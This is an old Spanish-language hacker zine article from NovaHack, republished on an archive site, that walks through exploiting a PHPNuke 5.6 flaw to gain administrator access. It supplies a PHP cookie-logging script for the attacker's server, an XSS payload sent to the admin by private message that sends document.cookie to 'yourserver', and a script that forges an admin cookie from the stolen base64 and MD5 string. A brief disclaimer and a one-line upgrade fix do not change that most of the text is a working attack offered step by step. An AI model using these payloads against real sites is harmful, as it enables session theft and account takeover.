Copy Link
Add to Bookmark
Report

11 - Bugs y Como explotarlos

eZine's profile picture
Published in 
NovaHack Zine
 · 1 year ago

[ NovaHack ]


En esta nueva seccion ire poniendo los bugs que aparezcan en NovaHack la web que administro: http://www.novahack.com les recuerdo que estos bugs yo no fui el que los descubrio, a eso se dedican grupos de seguridad informatica, esto es tomado de la red.

Antes que nada ¿que es un bug? Un bug es un error en un sistema, programa etc. Y un exploit es la manera en que se puede aprovechar ese bug para cierto objetivo.

NovaHack ni CyruxNET se hacen responsables del mal uso de esta informacion.

Fallo en PHPNuke que permite conseguir acceso de administrador

Versiones afectadas: PHPNuke 5.6, y posiblemente las anteriores.

En las versiones anteriores, mediante un ataque de XSS era posible hacerse con la cookie del administrador, en la que se encontraba el passwod codificado en base 64, por lo que era trivial decodifiarlo.

A partir de la versión 5.6 los passwords están codificados con MD5.

Cuando el usuario se autentifica, el PHPNuke convierte el password a MD5 y conprueba que concuerde con el que tiene almacenado en su base de datos. Pero esto no arregla en problema, porque se puede utilizar el password en MD5 sacado de una cookie robada para autentificarse.

En realidad en PHPNuke crea una cookie codificando en base 64 una linea como esta:

usuario:pass_en_MD5:lenguaje

Una vez que se tiene ese pass en MD5 lo único que hay que hacer es colocarlo en una cadena como la anterior, codificar la cadena en base64 y colocarla en una cookie en mi propia máquia.

Exploit

Para este exploit debemos crear los siguientes archivos en un servidor web:

El archivo cookie.php que contiene lo siguiente:

$fp = fopen("cookie.txt","a"); 
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* Esto es sólo para que el admin no sospeche */
?>

(como ves debes crear tambiÈn un archivo llamado cookie.txt)

y el archivo test.php que contiene:

$admin = base64_encode("cadena") ; 
setcookie("admin","$admin",time()+2592000);
?>
(despuÈs sustituiremos "cadena" por otra cosa.

1∫ Se le manda al admin un mensaje privado que contenga:

document.location.replace('http://yourserver/cookie.php?cookie='+document.cookie);

2∫ Se espera a que el admin lea el mensaje, y despues se mira el archivo cookie.txt que habÌamos creado en nuestro server.

3∫ Copia la cadena que aparece en el cookie.txt entre "admin=" y ":"

4∫ Ahora hay que decodificar ese código, poruqe está en base64, para ello puedes utilizar un programa adecuado o visitar http://www.isecurelabs.com/base64.php

Una vez decodificado deberÌas tener una cadena como Èsta:

usuario:pass_en_MD5:lenguaje

5∫ Ahora hay que crear una cookie con lo conseguido, para ello se utiliza el test.php sustituyendo lo que tenemos por la palable "cadena", asÌ:

$admin = base64_encode("usuario:pass_en_MD5:lenguaje"); 
setcookie("admin","$admin",time()+2592000);
?>

6∫ Para que esa cookie se cree en nuestra máquina hay que visitar la web objetivo (la que tiene el PHPNuke vulnerable) y autentificarse como un usuario cualquiera.

7∫ Una vez dentro hay que mandarse un mansaje privado a uno mismo con el siguiente contenido: Se abre el mensaje y la cookie, si todo ha ido bien aparecerá en nuestra máquina, pero con la dirección de nuestro server, de modo que debemos cambiarle la URL por la del objetivo.

8∫ Sólo queda reiniciar el navegador (cerrarlo y abrirlo) y vilver al sitio objetivo, y ya está, verás que estás autentificado como admin.

Solución:

Atualizar a una versión mas nueva de PHPNuke.

Texto por CyruxNET

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT